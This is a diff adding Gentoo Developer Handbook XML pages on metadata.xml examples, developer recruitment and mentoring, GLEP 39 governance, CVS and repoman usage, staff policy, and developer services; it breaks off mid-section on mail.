+	&lt;flag name='crypt'&gt;Allows HAL to mount volumes that are encrypted using
+	LUKS. &lt;pkg&gt;sys-fs/cryptsetup-luks&lt;/pkg&gt; which has recently been renamed
+	to &lt;pkg&gt;sys-fs/cryptsetup&lt;/pkg&gt; allows you to create such encrypted
+	volumes. HAL will be able to handle volumes that are removable or
+	fixed.&lt;/flag&gt;
+	&lt;flag name='dell'&gt;Builds an installs the Dell addon, which reads data from
+	the Dell SM BIOS via &lt;pkg&gt;sys-libs/libsmbios&lt;/pkg&gt;. It will read your
+	service tag information and your hardware backlight data as well as
+	allow you to modify the backlight settings on a Dell laptop.&lt;/flag&gt;
+	&lt;flag name='disk-partition'&gt;Allows HAL to use libparted from
+	&lt;pkg&gt;sys-apps/parted&lt;/pkg&gt; to read raw partition data from your disks
+	and process that data. Future versions of HAL (possibly 0.5.11 and
+	higher) will allow you to create, modify, delete and format partitions
+	from a GUI interface agnostic of your desktop environment.&lt;/flag&gt;
+	&lt;flag name='doc'&gt;Generates documentation that describes HAL's fdi
+	format.&lt;/flag&gt;
+	&lt;flag name='pcmcia'&gt;Allows HAL to process PCMCIA/CardBus slot data which
+	includes inserts and removals and act on these events.&lt;/flag&gt;
+	&lt;flag name='selinux'&gt;Installs SELinux policies and links HAL to the SELinux
+	libraries.&lt;/flag&gt;
+&lt;/use&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Fourth Example</title>
+<body>
+
+<p>
+This example demonstrates the usage of the upstream element:
+</p>
+
+<pre caption="Upstream description">
+&lt;upstream&gt;
+        &lt;maintainer status="inactive"&gt;
+                &lt;name&gt;Foo Bar&lt;/name&gt;
+                &lt;email&gt;foo@bar.bar&lt;/email&gt;
+        &lt;/maintainer&gt;
+        &lt;maintainer status="active"&gt;
+                &lt;name&gt;Foo Gentoo&lt;/name&gt;
+                &lt;email&gt;foo@gentoo.org&lt;/email&gt;
+        &lt;/maintainer&gt;
+        &lt;changelog&gt;http://foo.bar/changelog.txt&lt;/changelog&gt;
+        &lt;doc lang="en"&gt;http://foo.bar/doc/index.html&lt;/doc&gt;
+        &lt;doc lang="de"&gt;http://foo.bar/doc/index.de.html&lt;/doc&gt;
+        &lt;bugs-to&gt;https://bugs.foo.bar&lt;/bugs-to&gt;
+        &lt;remote-id type="freshmeat"&gt;foobar&lt;/remote-id&gt;
+        &lt;remote-id type="sourceforge"&gt;foobar&lt;/remote-id&gt;
+&lt;/upstream&gt;
+</pre>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-introduction-becoming-a-dev.xml b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-becoming-a-dev.xml
new file mode 100644
index 00000000..2a1ace12
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-becoming-a-dev.xml
@@ -0,0 +1,157 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Suggestions >> plasmaroo@gentoo.org -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-introduction-becoming-a-dev.xml,v 1.6 2008/11/10 20:01:03 betelgeuse Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+There are many ways to become a Gentoo developer, which this section
+discusses. There are also various steps that new "recruits" have to
+go through before they become official developers.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Helping out</title>
+<body>
+
+<p>
+Firstly; to be asked to become a developer you should either apply
+to an opening, or just help out whether in the form of user support
+or filing bug reports - we notice frequent contributors making
+contributions to Gentoo and we attempt to reward them by giving
+them the chance to become a Gentoo developer. Gentoo has many
+paths, and the Gentoo Developer Relations Recruitment
+Team is always looking out not just for developers - documentation
+writers and infrastructure maintainers are just as important too for
+our distribution to run smoothly.
+</p>
+
+<p>
+You should look out for openings for developers in the GMN, as well as
+the /topic of #gentoo-bugs on irc.freenode.net - if you feel you could fill
+in one of those positions, try to find a mentor who is willing to sponsor you,
+or contact the <mail link="recruiters@gentoo.org">Gentoo Recruiters</mail> who
+may be able to find a mentor for you. Please do not file "New Developer" bugs
+on yourself since this task is designated for the mentor and any such bugs will be
+closed.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Mentoring</title>
+<body>
+
+<p>
+All new developers must have a mentor, who is an existing Gentoo
+developer responsible for guiding a new developer as well as 
+offering to help the developer later after the developer
+has passed through the recruitment process.
+</p>
+
+<p>
+A mentor should assist you by helping you with any
+questions you might have, as well as outlining your Gentoo
+responsibilities, especially those in relation to what you
+would initially work on.
+</p>
+
+<p>
+Once a developer agrees to mentor a new developer, the mentor should file a
+bug and assign it to the Gentoo Recruiters - the
+<uri link="/proj/en/devrel/recruiters">Gentoo Recruiters</uri>
+page explains in detail what information should be filed.
+</p>
+
+<note>
+The Gentoo Recruiters reserve the right to assign a developer a new mentor if
+the initial mentor is idle to queries about the new developer or if the mentor
+files the bug but then does not assist the new developer through the rest of
+the process.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Waiting</title>
+<body>
+
+<p>
+All new developers pass through a waiting period of up to a month,
+depending on how ready the mentor thinks the developer is as well as
+feedback from any other related staff. During this time, the new
+developer should complete the quiz which would be reviewed by the developer's
+mentor and the Gentoo Recruiters to ensure that the developer is "ready".
+In special cases, the waiting period is determined by
+the Recruiters and/or Gentoo Developer Relations leads.
+</p>
+
+<p>
+Two quizzes are offered: the
+<uri link="/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri>, and the 
+<uri link="/proj/en/devrel/quiz/staff-quiz.txt">staff
+quiz</uri>. Developers who will be working purely on
+infrastructure, GLSAs or other non-ebuild areas should
+take the staff quiz, any developers who require commit
+access to the Portage tree should take the ebuild quiz.
+</p>
+
+<p>
+Once a new developer has completed the quiz, the developer should send it off to
+the mentor who is responsible for reviewing it in conjunction with
+the <uri link="/proj/en/devrel/recruiters">Gentoo Recruiters</uri>.
+If the quiz answers are deemed to be of a sufficient standard, then
+the recruitment process would continue. Otherwise, a new developer can
+redo the quiz again, providing that it is completed in the waiting
+period.
+</p>
+
+<p>
+Additionally, new developers should be responsive to any members of
+the Recruiters Team who have any questions - any developers who do
+not reply promptly will have their "New Developer" bug closed, which
+would only be reopened at the discretion of the Gentoo Recruiters.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Jumping the gap</title>
+<body>
+
+<p>
+After your mentor and the Gentoo Recruiters have reviewed your quiz and deemed 
+it to be of a suitable standard, you should send it along with a public SSH2 
+DSA key (e.g. id_dsa.pub) to the Gentoo Recruiters. If the Recruiters
+consider your quiz to be of a satisfactory standard, they will set you up
+with the services that you require.
+</p>
+
+<p>
+After this time, you enter a "probationary period" of 30 days during which
+your mentor is responsible for your actions, providing accountability
+- also, Gentoo Recruiters may reject new developers during this time if
+they feel it is appropriate.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-introduction-hierarchy.xml b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-hierarchy.xml
new file mode 100644
index 00000000..3b24d3a3
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-hierarchy.xml
@@ -0,0 +1,231 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-introduction-hierarchy.xml,v 1.5 2008/04/11 18:40:43 betelgeuse Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-05-04</date>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+This section aims to explain the Gentoo development hierarchy and gives
+developers an insight to how Gentoo Linux development management is
+structured.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>A short history of Gentoo's management structure</title>
+<body>
+
+<p>
+The first attempt to come up with a management structure to solve problems
+with coordination and communication issues was made in 2003 with the
+structure described in 
+<uri link="http://www.gentoo.org/proj/en/glep/glep-0004.xml">GLEP 4</uri>.
+As Gentoo grew larger over the time, some problems with the management 
+structure were discovered and a new one was needed to solve these issues.
+<uri link="http://www.gentoo.org/proj/en/glep/glep-0039.html">GLEP 39</uri> 
+describes both the reasons behind this as well as the outcome of the 
+discussion.
+</p>
+
+</body>
+</section>
+<section>
+<title>Current Management structure according to GLEP 39</title>
+<body>
+
+<p>
+A project is a group of developers working towards a goal (or a set of goals).
+</p>
+
+<ul>
+  <li>
+    A project exists if it has a web page at <uri
+    link="http://www.gentoo.org/proj/en/">www.gentoo.org/proj/en/&lt;project
+    name&gt;</uri> that is maintained. ("Maintained" means that the information
+    on the page is factually correct and not out-of-date.) If the webpage isn't
+    maintained, it is presumed dead.
+  </li>
+  <li>
+    It may have one or many leads, and the leads are selected by the members of
+    the project. This selection must occur at least once every 12 months and
+    may occur at any time.
+  </li>
+  <li>
+    It may have zero or more sub-projects. Sub-projects are just projects that
+    provide some additional structure, and their web pages are in the project's
+    space.
+  </li>
+  <li>Not everything (or everyone) needs a project.</li>
+  <li>Projects need not be long-term.</li>
+  <li>Projects may well conflict with other projects. That's okay.</li>
+  <li>
+    Any dev may create a new project just by creating a new page (or, more
+    realistically, directory and page) in
+    <path>gentoo/xml/htdocs/proj/en</path> and announcing it on the
+    gentoo-dev-announce mailing list.
+  </li>
+</ul>
+
+<p>
+Global issues will be decided by an elected Gentoo council.
+</p>
+
+<ul>
+  <li>
+    There will be a set number of council members. (For the first election that
+    number was set to 7 by acclamation.)
+  </li>
+  <li>
+    Council members will be chosen by a general election of all devs once per
+    year.
+  </li>
+  <li>The council must hold an open meeting at least once per month.</li>
+  <li>
+    Council decisions are by majority vote of those who show up (or their
+    proxies).
+  </li>
+  <li>
+    If a council member (or their appointed proxy) fails to show up for two
+    consecutive meetings, they are marked as a slacker.
+  </li>
+  <li>
+    If a council member who has been marked a slacker misses any further
+    meeting (or their appointed proxy doesn't show up), they lose their
+    position and a new election is held to replace that person. The newly
+    elected council member gets a 'reduced' term so that the yearly elections
+    still elect a full group.
+  </li>
+  <li>
+    Council members who have previously been booted for excessive slacking may
+    stand for future elections, including the election for their replacement.
+    They should, however, justify their reasons for slacking and should expect
+    to have it pointed out if they don't do so themselves.
+  </li>
+  <li>The 'slacker' marker is reset when a member is elected.</li>
+  <li>
+    If any meeting has less than 50% attendance by council members, a new
+    election for all places must be held within a month. The 'one year' is then
+    reset from that point.
+  </li>
+  <li>Disciplinary actions may be appealed to the council.</li>
+  <li>
+    A proxy must not be an existing council member, and any single person may
+    not be a proxy for more than one council member at any given meeting.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Consequences of Gentoo's management structure</title>
+<body>
+
+<p>
+As a consequence of the new management structure, global decisions will be made
+by the elected council. This should give Gentoo a general direction - smaller
+issues affecting only a project or two should be decided inside the projects
+involved, probably with input from other developers. The council should be a
+fair representation of the developer base as every developer is able to vote,
+so interests should be represented in a fair way. If the council does a bad job
+and the developer base is unhappy with its work, the council can be voted out.
+</p>
+
+<p>
+Decisions within a project can be made by the people inside the project itself,
+of course coordination between the projects is necessary. The (sub-)project
+leads are usually responsible for doing this.
+</p>
+
+<p>
+Most projects have an Operational and Strategic lead, but basically it is up to
+the project what positions are created and how they are called - this also
+applies to sub-projects.
+</p>
+
+<p>
+Some projects appoint a contact person for communication to another project
+e.g. a developer within the forums project who is responsible for communication
+with the infrastracture project.
+</p>
+
+<p>
+All in all, the current structure has no clear list of responsibilities the
+project leads are supposed to satisfy. They are chosen by the members of the
+project, the practical responsibility of a lead is "whatever the members
+require", and if that isn't satisfied, the members can get a new lead (if they
+can find somebody to take the job!).
+</p>
+
+</body>
+</section>
+
+<!-- FIXME TODO...
+
+<section>
+<title>Decision making</title>
+<body>
+<p>
+Currently, GLEPs (Gentoo Linux Enhancement Proposals) can be approved
+or rejected by the appropriate top-level manager under which the GLEP
+falls. If there is no clearly-defined manager under which the GLEP
+falls, the GLEP will be voted upon by the Managers and Chief
+Architect, and must be approved unanimously. In all cases, a public,
+written explanation must be provided detailing why the GLEP was
+approved or rejected, either by the manager who approved/rejected it,
+or the head of the GLEP sub-project (Grant Goodyear) if the GLEP was
+voted upon by the management team. This summary is meant to reflect
+the decision that was made by some of the managers at an early manager
+meeting.
+</p>
+
+<p>
+Currently, there is no formal general voting procedure in place. In
+the interim, any item to be voted upon must be approved by "votable"
+by the Chief Architect. Before voting takes place, all managers must
+have an opportunity to present their ideas before the other managers,
+with the general originator(s) of the idea having the opportunity to
+present first. After that, the Chief Architect and Managers can
+present their ideas, with the Chief Architect having the opportunity
+to present last. After this has happened, voting can take place, and
+the item will be approved on an unanimous vote. Managers or the Chief
+Architect can choose to abstain from voting, and the vote can still
+pass with abstainers as long as at least 50% of the members have
+voted. The voting must take place at an official managers
+meeting. Non-attending managers are allowed to vote via email. The
+vote must be officially tallied and posted to the managers list.
+</p>
+
+<p>
+The reason for the "Chief Architect approval" clause it to prevent the
+voting process from being abused by allowing voting items that make no
+sense, such as those that begin with a "Should we continue to," where
+a "nay" result would result in a change in existing policy, as well as
+preventing managers for requesting that every small decision be voted
+upon. We currently have no clear policy to determine what is a
+"votable" item, and without this policy there needs to be some method
+to determine what is "votable" and what affects some immutable part of
+Gentoo.
+</p>
+
+<p>
+This section is subject to additional clarification and refinement in
+the future, as is the rest of this document. The purpose of this
+section is to document our currently-existing procedures rather than
+define ideal or "final" procedures.
+</p>
+</body>
+</section>
+-->
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-introduction-new-devs.xml b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-new-devs.xml
new file mode 100644
index 00000000..d3534e63
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-new-devs.xml
@@ -0,0 +1,262 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-introduction-new-devs.xml,v 1.15 2010/04/26 19:17:54 nightmorph Exp $ -->
+
+<sections>
+<version>1.1</version>
+<date>2010-04-26</date>
+
+<section>
+<title>Using CVS</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+This guide is not intended to be a manual on using CVS; for that, take a look at
+the CVS info page or <uri>/doc/en/cvs-tutorial.xml</uri>.
+Instead, this guide focuses specifically on using CVS and Repoman in Gentoo's
+ebuild tree.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Configuration</title>
+<body>
+
+<p>
+Typically, you'll want something along these lines in your <path>~/.cvsrc</path>:
+</p>
+
+<pre caption="~/.cvsrc">
+cvs -q -z0
+diff -u -B
+checkout -P
+update -d -P
+</pre>
+
+<p>
+Finally, many people using CVS like to use compression (-z#). We ask that
+developers who are not on dialup connections please use -z0 - with the contents
+of our CVS repository and the load on our CVS server, you actually experience a 
+speed <e>increase</e> without compression.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Checking out from CVS/SVN</title>
+<body>
+
+<p>
+There are a few useful modules in Gentoo's CVS repository. Ebuilds are kept in
+the <path>gentoo-x86</path> module. <path>gentoo</path> contains the XML
+for the website, documentation, developer directories, developer pictures,
+and so on. <path>gentoo-projects</path> contains various projects and generally
+replaces the <path>gentoo-src</path> cvs module.  <path>gentoo-src</path> is
+kept around for history, please transition to a different cvs module if you
+are still using it.
+</p>
+
+<pre caption="Checking out gentoo-x86">
+$ <i>cvs -d username@cvs.gentoo.org:/var/cvsroot co gentoo-x86</i>
+</pre>
+
+<p>
+Before working in the tree at any time, it's always a good idea to do an 
+update to check for changes and prevent conflicts. You can update in any 
+subdirectory of the tree if you don't want to wait for a tree-wide update, but 
+from time to time it's a good idea to update your entire tree:
+</p>
+
+<pre caption="Updating in gentoo-x86">
+$ <i>cd gentoo-x86</i>
+$ <i>cvs update</i>
+</pre>
+
+<p>
+Gentoo also offers subversion services for those who prefer SVN over CVS. 
+Many core projects such as <path>portage</path> and <path>baselayout</path> 
+are hosted here now.
+</p>
+
+<pre caption="Checking out portage">
+$ <i>svn co svn+ssh://username@cvs.gentoo.org/var/svnroot/portage</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Updating Portage</title>
+<body>
+
+<p>
+If you want to use CVS as your primary Portage tree, you can add the following
+lines to <path>/etc/make.conf</path>, replacing <c>you</c> with your username:
+</p>
+
+<pre caption="Changing /etc/make.conf for use with CVS">
+SYNC="cvs://you@cvs.gentoo.org:/var/cvsroot"
+CVSROOT=":ext:you@cvs.gentoo.org:/var/cvsroot"
+</pre>
+
+<note>
+Due to the fact that the cvs checkout has no metadata cache, your portage may
+become really slow
+</note>
+
+<p>
+On supported architectures, you should also have <c>sandbox</c> in your
+<c>FEATURES</c> to ensure ebuilds do not modify the root filesystem
+directly.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Adding/Removing packages</title>
+<body>
+
+<p>
+Say you're ready to add a brand new package, <c>foo</c>, in app-misc:
+</p>
+
+<pre caption="Adding a package">
+<comment>(Replace CVSROOT with the location of your checked-out CVS tree.)</comment>
+$ <i>cd $CVSROOT/app-misc</i>
+<comment>(Always update before working in part of the CVS tree!)</comment>
+$ <i>cvs update</i>
+$ <i>mkdir foo</i>
+<comment>(Here, we add the package directory foo to the CVS repository.)</comment>
+$ <i>cvs add foo</i>
+$ <i>cd foo</i>
+<comment>(It's better to keep in-progress ebuilds in an overlay outside of your CVS tree.)</comment>
+$ <i>cp /path/to/foo-1.0.ebuild ./</i>
+<comment>(Make sure PORTDIR_OVERLAY is set to the CVS directory when creating manifests.)</comment>
+$ <i>repoman manifest</i>
+$ <i>${EDITOR} metadata.xml</i>
+<comment>You don't necessarily need a files directory any more</comment>
+$ <i>cvs add foo-1.0.ebuild metadata.xml files</i>
+<comment>[Don't forget to create a ChangeLog - see the man page for echangelog.]</comment>
+$ <i>echangelog "New ebuild for foo. Ebuild written by me. Fixes bug #XXXXXX."</i>
+</pre>
+
+<p>
+See the <uri link="?part=2&amp;chap=4">Gentoo Metadata</uri> section for more
+information on <path>metadata.xml</path>.
+</p>
+
+<p>
+At this point, you're ready to commit (see the section on Commits
+below). But what if you want to remove foo-1.0 when foo-1.1 is out?
+</p>
+
+<pre caption="Removing old versions">
+$ <i>cd CVSROOT/app-misc/foo</i>
+$ <i>cvs update</i>
+$ <i>cvs remove -f foo-1.0.ebuild</i>
+</pre>
+
+<p>
+And now you're ready to commit (see the section on Commits below).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Commits</title>
+<body>
+
+<p>
+Always use <c>repoman commit</c> rather than <c>cvs commit</c>. Repoman is a
+quality assurance (QA) tool that performs basic checks and creates Manifests. If
+any part of repoman's output is unclear, please see <c>man repoman</c>.
+Additionally, you may tire of entering your key passphrase repeatedly; keychain
+(<uri>http://www.gentoo.org/doc/en/keychain-guide.xml</uri>) can help you.
+</p>
+
+<pre caption="Using repoman">
+<comment>[Make sure there are no root-owned files present prior to running repoman!]</comment>
+<comment>("scan" scans the current directory for QA issues. "full" is more complete.)</comment>
+$ <i>repoman scan</i>
+<comment>("commit" does a scan, then commits, while also updating the Manifest. Make sure you
+ add a verbose and useful CVS ChangeLog message...)</comment>
+$ <i>repoman commit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Speeding CVS up</title>
+<body>
+
+<p>
+If you have noticable high ping times to the cvs server, you might want to use
+the ssh master slave setup where you only connect to the other ssh server once
+and let it do the next commands over that connection. This way you save the
+handshake overhead which may speed up the whole checkout/commit by factor 3.
+Just add the code snippet given below to your config.
+</p>
+
+<pre caption="~/.ssh/config">
+Host *
+  ControlMaster auto
+  ControlPath ~/.ssh/master-%r@%h:%p
+</pre>
+
+<p>
+After doing so, you can enable a backgrounded master connection by running:
+</p>
+
+<pre caption="Open Master connection in background">
+<comment>You can look the meaning of the parameters up in the manpage of ssh</comment>
+$ <i>ssh -M -N -f ${USER}@cvs.gentoo.org</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Miscellaneous</title>
+<subsection>
+<title>Putting files on mirrors</title>
+<body>
+
+<p>
+Distfiles are automatically fetched by the Gentoo Mirror System. You only need to
+monitor your distfiles for fetch errors. Please see the
+<uri link="/proj/en/infrastructure/mirrors/overview-distfile.xml">Distfiles Overview Guide</uri>
+for comprehensive instructions.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Mail and Web</title>
+<body>
+
+<p>
+Our infrastructure allows developers to manage their own mail.
+<uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri>
+contains instructions on configuring your @gentoo.org mail.
+</p>
+
+<p>
+Developers have access to webhosting, http://dev.gentoo.org/~$YOURNAME. Please
+see the <uri link="/proj/en/infrastructure/dev-webspace.xml">Webspace
+Configuration Guide</uri> for details.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-introduction-staffers.xml b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-staffers.xml
new file mode 100644
index 00000000..3a3f67b9
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-staffers.xml
@@ -0,0 +1,135 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-introduction-staffers.xml,v 1.1 2008/10/01 17:08:39 rane Exp $ -->
+
+<sections>
+<version>1</version>
+<date>2008-09-13</date>
+
+<section>
+<title>Gentoo Staff Member policy</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Running a Linux distribution has multiple aspects and many of them aren't
+directly connected to coding. Every distribution needs people to run its
+servers, help its community, provide documentation, handle project's finances
+and legal issues and serve many other tasks. Their contributions are as
+important as code contributions. These developers are called staff members in
+Gentoo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Types of staff members</title>
+<body>
+
+<p>
+The following list contains all types of staff members we are currently
+recruiting in Gentoo:
+</p>
+
+<ul>
+  <li><uri link="/proj/en/infrastructure/">Gentoo Infrastructure</uri> project members</li>
+  <li><uri link="/proj/en/gdp/">Gentoo Documentation</uri> editors and translators</li>
+  <li><uri link="/news/en/gmn/">Gentoo Monthly Newsletter</uri> editors and translators</li>
+  <li><uri link="/proj/en/forums/">Gentoo Forums</uri> global moderators and administrators</li>
+  <li><uri link="/proj/en/devrel/">Gentoo Developer Relations</uri> members</li>
+  <li><uri link="/proj/en/userrel/">Gentoo User Relations</uri> members</li>
+  <li><uri link="/proj/en/pr/">Gentoo Public Relations</uri> members</li>
+  <li><uri link="/proj/en/security/">Gentoo Security</uri> GLSA coordinators</li>
+  <li><uri link="/proj/en/sunrise/">Gentoo Sunrise</uri> developers</li>
+  <li><uri link="/foundation/en">Gentoo Foundation</uri> officers</li>
+</ul>
+
+<impo>
+If the project you want to contribute to as a staff member isn't on this list
+and you think it should, please contact <mail link="devrel@gentoo.org">Developer
+Relations</mail> about policy change.
+</impo>
+
+</body>
+</subsection>
+<subsection>
+<title>How is staff member access different from ebuild developer access?</title>
+<body>
+
+<p>
+Access is assigned based on the responsibilities of the Staff Member.  All
+Gentoo Developers are provided with an gentoo.org mail address, ssh access to
+dev.gentoo.org (for shell, ldap, public_html, etc) as well as cvs access to
+gentoo's web/project pages.  As a staff member you will not be granted access to
+the ebuild tree, as ebuild developers are, but may be granted access to other
+area's based on your need and responsibilities.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>How can I become a Gentoo staff member?</title>
+<body>
+
+<p>
+You have to work with members of the project you wish to help. You are invited
+to the team when your level of contributions and expertise justify you becoming
+a developer in that project. It may take time and may also require passing
+internal recruitment procedures within that project first. Those procedures are
+in place to ensure you know what your future function within Gentoo involves,
+they are created and maintained by the project itself.
+</p>
+
+<p>
+When you are ready, you will need to look for a mentor and a developer bug will
+be filed for you after your mentor has approved your <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt">staff
+quiz</uri>.
+Once a recruiter has been assigned to your developer bug, both of you will need
+to schedule your review. Please see the <uri
+link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">mentoring
+guide</uri> for more information.
+</p>
+
+<note>
+As a staff member who isn't going to work on ebuilds, you won't be asked
+technical questions about them. All that will be required from you at this stage
+of your recruitment is a good understanding of Gentoo internals.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>
+I would like to be recruited as a staff member but also plan joining other
+projects in future
+</title>
+<body>
+
+<p>
+Every Gentoo developer can join any project (s)he wishes if developers
+of the project agree with that. Before you can start contributing to the
+ebuild tree though, you will have to apply for ebuild developer recruitment.
+This means you need a mentor, a history of technical contributions (bug fixes,
+overlays, etc...) and adequate training. Please contact recruiters about this.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>How is retirement handled for staff members?</title>
+<body>
+
+<p>
+You have to either remain active within the project you have joined or move to
+other projects. If there are no projects within Gentoo you're active in, you are
+subject for retirement via <uri link="/proj/en/devrel/undertakers/">Gentoo
+Undertakers</uri> procedures.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-introduction-whatyouget.xml b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-whatyouget.xml
new file mode 100644
index 00000000..f2821c56
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-introduction-whatyouget.xml
@@ -0,0 +1,276 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-introduction-whatyouget.xml,v 1.15 2010/05/23 15:10:11 keytoaster Exp $ -->
+
+<sections>
+
+<version>1.0.3</version>
+<date>2007-08-17</date>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Gentoo provides developers with all the necessary services which they
+might need for their development efforts. If you require anything
+else, please do not hesitate to contact the Infrastructure Team!
+</p>
+
+<p>
+Once you are an authorized developer, your recruiter should organize
+the following services.  If you experience any problems, please see
+your recruiter or the mentioned staff with access to the required
+service.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Developers are able to change all aspects of bugs in Bugzilla. If you
+have an existing account the email address should be changed to your
+Gentoo address by a Bugzilla administrator.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>CVS</title>
+<body>
+
+<p>
+Not all developers receive CVS access - if you require Portage access
+to the gentoo, gentoo-projects, or gentoo-x86 tree get someone on the
+recruiters team to do this for you. You may need to justify your need
+for this to happen, however.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+When you are a developer, you will receive a <c>gentoo/developer/*</c> cloak
+signifying that you are a developer. If you do not, please contact recruiters
+or ask on the <c>#gentoo-groupcontacts</c> channel. Please be aware that
+Freenode cloaks may neither contain underscores (<c>_</c>) nor dots (<c>.</c>)
+in the last part, so you must either choose an appropriate nickname or a
+differing cloak.
+</p>
+
+<p>
+Along with that you get operator status on #gentoo-dev.
+Additionally, team leads may decide to give you operator status on specialized
+channels such as #gentoo-hardened, for example. Abuse of operator powers on
+#gentoo-dev may lead to your operator powers being removed instantly along with
+the possible removal of your developership. If you are given operator powers,
+we ask that you use them constructively to benefit everybody when either
+developers or users break up the cleanliness of the channels.
+</p>
+
+<p>
+The #gentoo IRC channel is no longer controlled  by Developer Relations,
+but by the <uri link="http://www.gentoo.org/proj/en/ops/index.xml">gentoo-ops</uri>
+project. Operator status in #gentoo does not in any way signify that the
+user is a developer.
+</p>
+
+<p>
+"Special" Gentoo channels such as #gentoo-hardened and #gentoo-server are
+given to people at the discretion of the team - in this case, the hardened
+and server teams.
+</p>
+
+<p>
+IRC Channels are owned by their relevant project leads, whether strategical
+or operational and the owner has the discretion of voicing or unvoicing
+members of the public. If you believe that those powers are being abused or
+are being used with wrong considerations; then speak to the Gentoo Linux
+Developer Relations team.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Forums [Optional]</title>
+<body>
+
+<p>
+Ask one of the forums administrators in #gentoo-forums or
+forum-mods@gentoo.org to update your forum status on the Gentoo
+Forums, if needed. Forum accounts are not mandatory.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Planet [Optional]</title>
+<body>
+
+<p>
+Developers who have a personal blog can request to be added to the planet
+aggregator.  The planet software creates a custom feed of all developer's blog
+posts, separated into two categories: on-topic (Gentoo and computer related
+content) on Planet Gentoo, and all topics on Gentoo Universe.
+</p>
+
+<p>
+Also, if a user does not already have a blog, we host our own blogging software
+and can create an account for you.
+</p>
+
+<p>
+Please see <uri>http://www.gentoo.org/proj/en/userrel/planet/index.xml</uri> for
+more details.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Mail</title>
+<body>
+
+<p>
+All developers are provided with a developer@gentoo.org mail address
+for Gentoo use.
+</p>
+
+<p>
+Please see <uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri> 
